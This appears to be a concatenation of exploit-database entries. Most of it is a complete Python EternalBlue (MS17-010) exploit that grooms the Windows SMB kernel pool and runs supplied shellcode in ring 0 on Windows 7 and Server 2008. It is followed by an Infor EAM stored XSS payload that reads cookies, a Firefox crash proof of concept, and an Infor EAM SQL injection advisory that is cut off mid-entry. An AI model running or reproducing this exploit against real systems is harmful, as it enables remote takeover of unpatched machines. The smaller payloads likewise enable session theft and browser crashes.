	conn.disconnect_tree(tid)
	conn.logoff()
	conn.get_socket().close()


if len(sys.argv) < 3:
	print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
	sys.exit(1)

TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()

if len(sc) > 0xe80:
	print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
	sys.exit()

# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))

print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))

exploit(TARGET, sc, numGroomConn)
print('done')
            
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm

Tested on:
- Windows 7 SP1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x86
- Windows 2008 SP1 x64
- Windows 2008 SP1 x86

Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/


Bug detail:
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- The exploit also use other 2 bugs (see details in BUG.txt)
  - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
  - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
######


Exploit info:
- I do not reverse engineer any x86 binary so I do not know about exact offset.
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
  This memory page is executable on Windows 7 and Wndows 2008.
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- The exploit trick is same as NSA exploit
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.


srvnet buffer info:
- srvnet buffer contains a pointer to another struct and MDL about received buffer
  - Controlling MDL values results in arbitrary write
  - Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes
  - First 4 bytes contains length of SMB message
  - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
  - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
  - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
  - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
  - Memory leak is ok to be ignored


Shellcode note:
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
  - On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
  - IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
  - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to 
      get call because it is called on other processors
  - Shellcode should be aware of double overwriting system call target address when using hijacking system call method
- Then, using APC in Process context to get code execution in userland (ring 3)

#E-DB Note: https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a
#E-DB Note: https://github.com/worawit/MS17-010/blob/eafb47d715fe38045c9ea6dc4cb75ca0ef5487ce/eternalblue_exploit7.py
'''

# Note: see how to craft FEALIST in eternalblue_poc.py

# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable.
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page

ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde

ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600  # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be  # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc

ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494  # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee  # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec

ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }

'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():

// for x64
struct SRVNET_BUFFER {
	// offset from POOLHDR: 0x10
	USHORT flag;
	char pad[2];
	char unknown0[12];
	// offset from SRVNET_POOLHDR: 0x20
	LIST_ENTRY list;
	// offset from SRVNET_POOLHDR: 0x30
	char *pnetBuffer;
	DWORD netbufSize;  // size of netBuffer
	DWORD ioStatusInfo;  // copy value of IRP.IOStatus.Information
	// offset from SRVNET_POOLHDR: 0x40
	MDL *pMdl1; // at offset 0x70
	DWORD nByteProcessed;
	DWORD pad3;
	// offset from SRVNET_POOLHDR: 0x50
	DWORD nbssSize;  // size of this smb packet (from user)
	DWORD pad4;
	QWORD pSrvNetWskStruct;  // want to change to fake struct address
	// offset from SRVNET_POOLHDR: 0x60
	MDL *pMdl2;
	QWORD unknown5;
	// offset from SRVNET_POOLHDR: 0x70
	// MDL mdl1;  // for this srvnetBuffer (so its pointer is srvnetBuffer address)
	// MDL mdl2;
	// char transportHeader[0x50];  // 0x50 is TRANSPORT_HEADER_SIZE
	// char netBuffer[0];
};

struct SRVNET_POOLHDR {
	DWORD size;
	char unknown[12];
	SRVNET_BUFFER hdr;
};
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
#                           The value MUST point to valid (might be fake) struct.
# - offset 0x70 (MDL)   : MDL for describe receiving SMB request buffer
#   - 0x70 (VOID*)    : MDL.Next should be NULL
#   - 0x78 (USHORT)   : MDL.Size should be some value that not too small
#   - 0x7a (USHORT)   : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
#   - 0x80 (VOID*)    : MDL.Process should be NULL
#   - 0x88 (VOID*)    : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
#                         The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#                         
#
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
#                           a corrupted buffer MUST not be reused.
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
#                           before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
#                           your shellcode as function argument
# - offset 0x60 (PMDL)  : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
#     \x48\x8b\x54\x24\x40  mov rdx, [rsp+0x40]
# - set nByteProcessed for trigger free after return
#     \x8b\x4a\x2c          mov ecx, [rdx+0x2c]
#     \x89\x4a\x38          mov [rdx+0x38], ecx

TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000

fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0)  # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64)  # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)  # x64 pmdl2
# below 0x20 bytes is overwritting MDL
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)  # MDL.Process, MDL.MappedSystemVa

# below is for targeting x64 only (all x86 related values are set to 0)
# this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16  # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)  # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)  # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)  # MDL.Process, MDL.MappedSystemVa


fakeSrvNetBuffer = fakeSrvNetBufferNsa
#fakeSrvNetBuffer = fakeSrvNetBufferX64

feaList = pack('<I', 0x10000)  # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
feaList += ntfea[NTFEA_SIZE]
# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
#   - x64: below fea will be copy to offset 0x11000 of overflow buffer
#   - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)


# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00010
#   offset 0xa0:  LIST_ENTRY must be valid address. cannot be NULL.
#   offset 0x08:  set to 3 (DWORD) for invoking ptr to function
#   offset 0x1d0: KSPIN_LOCK
#   offset 0x1d8: array of pointer to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)  # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)  # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)  # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)  # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)  # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)  # x64 shellcode address - 1 (this value will be increment by one)


def getNTStatus(self):
	return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

def sendEcho(conn, tid, data):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
	transCommand['Parameters'] = smb.SMBEcho_Parameters()
	transCommand['Data'] = smb.SMBEcho_Data()

	transCommand['Parameters']['EchoCount'] = 1
	transCommand['Data']['Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('got good ECHO response')
	else:
		print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))


def createSessionAllocNonPaged(target, size):
	# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
	# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
	# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
	
	# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. 
	# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
	# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
	#   - GetNtSecurityParameters() function is resposible for extracting data from this packet format
	# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
	#   - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
	
	# These 2 formats have different WordCount (first one is 13 and later is 12). 
	# Here is logic in BlockingSessionSetupAndX() related to this bug
	# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
	# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
	# - else, process a message as NT Security request
	
	# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
	# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
	# But GetExtendSecurityParameters() checks ByteCount value again.
	
	# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
	
	conn = smb.SMB(target, target)
	_, flags2 = conn.get_flags()
	# FLAGS2_EXTENDED_SECURITY MUST not be set
	flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
	# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
	if size >= 0xffff:
		flags2 &= ~smb.SMB.FLAGS2_UNICODE
		reqSize = size // 2
	else:
		flags2 |= smb.SMB.FLAGS2_UNICODE
		reqSize = size
	conn.set_flags(flags2=flags2)
	
	pkt = smb.NewSMBPacket()

	sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
	sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

	sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
	sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
	sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
	sessionSetup['Parameters']['SessionKey']         = 0
	sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
	# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
	sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

	sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
	pkt.addCommand(sessionSetup)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('SMB1 session setup allocate nonpaged pool success')
	else:
		print('SMB1 session setup allocate nonpaged pool failed')
	return conn


# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
    structure = (
        ('TotalParameterCount','<H=0'),
        ('TotalDataCount','<H'),
        ('ParameterCount','<H=0'),
        ('ParameterOffset','<H=0'),
        ('ParameterDisplacement','<H=0'),
        ('DataCount','<H'),
        ('DataOffset','<H'),
        ('DataDisplacement','<H=0'),
        ('FID','<H=0'),
    )

def send_trans2_second(conn, tid, data, displacement):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	# assume no params

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
	transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
	transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

	transCommand['Parameters']['TotalParameterCount'] = 0
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+18
	transCommand['Data']['Pad1'] = ''

	transCommand['Parameters']['ParameterCount'] = 0
	transCommand['Parameters']['ParameterOffset'] = 0

	if len(data) > 0:
		pad2Len = (4 - fixedOffset % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = len(data)
	transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
	transCommand['Parameters']['DataDisplacement'] = displacement

	transCommand['Data']['Trans_Parameters'] = ''
	transCommand['Data']['Trans_Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)


def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
	# Here is another bug in MS17-010.
	# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
	#   https://msdn.microsoft.com/en-us/library/ee441514.aspx
	# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client 
	#   can use *_SECONDARY command to send transaction message. When sending a transaction completely with
	#   *_SECONDARY command, a server uses the last command that complete the transaction.
	# For example:
	# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
	# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
	#
	# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
	# For example:
	# - a client start transaction with SMB_COM_NT_TRANSACT command
	# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
	# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
	# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
	
	# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction 
	#   with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
	# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
	#   field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
	# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
	
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('<H', setup)
	
	# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:
		transCommand['Data']['Pad1'] = ''
		padLen = 0

	transCommand['Parameters']['ParameterCount'] = len(param)
	transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

	if len(data) > 0:
		pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = firstDataFragmentSize
	transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

	transCommand['Data']['Trans_Parameters'] = param
	transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	conn.recvSMB() # must be success
	
	# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
	i = firstDataFragmentSize
	while i < len(data):
		# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
		sendSize = min(4096, len(data) - i)
		if len(data) - i <= 4096:
			if not sendLastChunk:
				break
		send_trans2_second(conn, tid, data[i:i+sendSize], i)
		i += sendSize
	
	if sendLastChunk:
		conn.recvSMB()
	return i

	
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
def createConnectionWithBigSMBFirst80(target):
	# https://msdn.microsoft.com/en-us/library/cc246496.aspx
	# Above link is about SMB2, but the important here is first 4 bytes.
	# If using wireshark, you will see the StreamProtocolLength is NBSS length.
	# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
	#
	# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
	# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
	# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
	sk = socket.create_connection((target, 445))
	# For this exploit, use size is 0x11000
	pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
	# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
	# Also this is invalid SMB2 message.
	# I believe NSA exploit use SMB2 for hiding alert from IDS
	#pkt += '\xfeSMB' # smb2
	# it can be anything even it is invalid
	pkt += 'BAAD' # can be any
	pkt += '\x00'*0x7c
	sk.send(pkt)
	return sk


def exploit(target, shellcode, numGroomConn):
	# force using smb.SMB for SMB1
	conn = smb.SMB(target, target)

	# can use conn.login() for ntlmv2
	conn.login_standard('', '')
	server_os = conn.get_server_os()
	print('Target OS: '+server_os)
	if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
		print('This exploit does not support this target')
		sys.exit()
	

	tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
	
	# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
	# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
	progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
	# we have to know what size of NtFeaList will be created when last fragment is sent

	# make sure server recv all payload before starting allocate big NonPaged
	#sendEcho(conn, tid, 'a'*12)

	# create buffer size NTFEA_SIZE-0x1000 at server
	# this buffer MUST NOT be big enough for overflown buffer
	allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
	
	# groom nonpaged pool
	# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
	srvnetConn = []
	for i in range(numGroomConn):
		sk = createConnectionWithBigSMBFirst80(target)
		srvnetConn.append(sk)

	# create buffer size NTFEA_SIZE at server
	# this buffer will be replaced by overflown buffer
	holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
	# disconnect allocConn to free buffer
	# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
	allocConn.get_socket().close()

	# hope one of srvnetConn is next to holeConn
	for i in range(5):
		sk = createConnectionWithBigSMBFirst80(target)
		srvnetConn.append(sk)
		
	# send echo again, all new 5 srvnet buffers should be created
	#sendEcho(conn, tid, 'a'*12)
	
	# remove holeConn to create hole for fea buffer
	holeConn.get_socket().close()

	# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
	send_trans2_second(conn, tid, feaList[progress:], progress)
	recvPkt = conn.recvSMB()
	retStatus = recvPkt.getNTStatus()
	# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
	if retStatus == 0xc000000d:
		print('good response status: INVALID_PARAMETER')
	else:
		print('bad response status: 0x{:08x}'.format(retStatus))
		

	# one of srvnetConn struct header should be modified
	# a corrupted buffer will write recv data in designed memory address
	for sk in srvnetConn:
		sk.send(fake_recv_struct + shellcode)

	# execute shellcode by closing srvnet connection
	for sk in srvnetConn:
		sk.close()

	# nicely close connection (no need for exploit)
	conn.disconnect_tree(tid)
	conn.logoff()
	conn.get_socket().close()


if len(sys.argv) < 3:
	print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
	sys.exit(1)

TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()

print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))

exploit(TARGET, sc, numGroomConn)
print('done')
            
Stored XSS in INFOR EAM V11.0 Build 201410 via comment fields
-------------------
Assigned CVE: CVE-2017-7953

Reproduction steps:
-------------------
1. Log in with your EAM account
2. Go to the jobs page
3. Click on a record and open its page
4. Go to "Comments" tab
4. Click the add new comment button
5. Insert a comment containing javascript code, e.g. <img src=fakesource onerror="alert(document.cookie)"> Fake comment here
6. Save, and after page reloading the XSS should trigger

Example:
-------------------
PoC Screenshot: https://www.dropbox.com/s/2b859x9go8v9f2l/xss.png?dl=0


Exploitability
-------------------
In EAM software user comments have read classification to every 
authenticated users. Any authenticated user could became a valid victim to 
the described attack by navigate (spontaneously or not) to the infected 
page. The comment visualization triggers injected javascript code.
On the other side any user able to write a comment could become a possible 
attacker by introducing javascript into the comment body.

Impact
-------------------
By reading browser cookies an attacker could ultimately grab administrative 
credentials having access to each available EAM action.
The vulnerability could ultimately allow an attacker to steal credential, 
leak sensitive data, trick user to download malware.

Disclosure timeline
-------------------

26.04.2017 Vulnerability reported to vendor
15.05.2017 Advisory published
            
<!--
Title:
==============
Unpatched Mozilla Firefox v50 - v55 Stack Overflow DoS Vulnerability

References:
==============
https://bugzilla.mozilla.org/show_bug.cgi?id=1322307

Timeline:
==============
Reported to Mozilla: 2016-12-06
Mozilla made public: 2016-12-15
Declined bounty: 2017-01-30
Advisory released: 2017-05-16

Technical Details:
==============
A stack overflow DoS vulnerability affecting Firefox versions 50 through 55 was discovered by Geeknik Labs. This flaw does NOT affect ESR 45 or the latest version of the Tor Browser Bundle. This flaw can be triggered by simply visiting a website with the PoC code embedded in it and requires no further user interaction nor does it require any special privileges. Successful exploitation results in the browser tab crashing.

Security Level:
==============
Medium

CVSS Score:
==============
3

Proof of Concept:
==============
-->

<html>
<head></head>
<body>
<script>
function done() {
}

var x = '';
for (i=0; i<500000; ++i)
x += '<a>';
var uri = 'data:image/svg+xml,' + x;
var i = new Image();
i.src = uri;
</script>
</body>
</html>

<!--
Visiting https://bugzilla.mozilla.org/attachment.cgi?id=8817075 may likely crash your browser tab.

Debug Information:
==============

(ff4.1108): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=5e3be520 ebx=00000000 ecx=256fab00 edx=00000001 esi=00000001 edi=256faab0
eip=5c718053 esp=00802ff4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
xul!mozilla::dom::Element::UnbindFromTree+0x3:
5c718053 53 push ebx

FAULTING_IP:
xul!nsINode::doRemoveChildAt+6a [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsinode.cpp @ 1910]
5c805677 8d4df8 lea ecx,[ebp-8]

BUCKET_ID: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a

Credits:
==============
Brian Carpenter, Geeknik Labs, https://twitter.com/geeknik
-->
            
SQL injection in INFOR EAM V11.0 Build 201410 search fields (web/base/..)  via filtervalue parameter
-------------------
Assigned CVE: CVE-2017-7952

Reproduction steps:
-------------------
1. Log in with your EAM account
2. Go to any page with a search or filter field in it (for example web/base/WSJOBS.xmlhttp) 
3. Make any search and intercept the request with a proxy 
4. In the intercepted request, replace the value of "filteroperator" parameter with IN.
5. The "filtervalue" become vulnerable to SQL Injection

Example:
-------------------
URL:http://<EAM_IP>/web/base/WSJOBS.xmlhttp
POST DATA: 
GRID_ID=<ID>&GRID_NAME=WSJOBS&DATASPY_ID=<ID>&USER_FUNCTION_NAME=WSJOBS&SYSTEM_FUNCTION_NAME=WSJOBS&CURRENT_TAB_NAME=LST&COMPONENT_INFO_TYPE=DATA_ONLY&filterfields=<field>&filteroperator=IN&filtervalue=<injection point>

Exploitability
-------------------
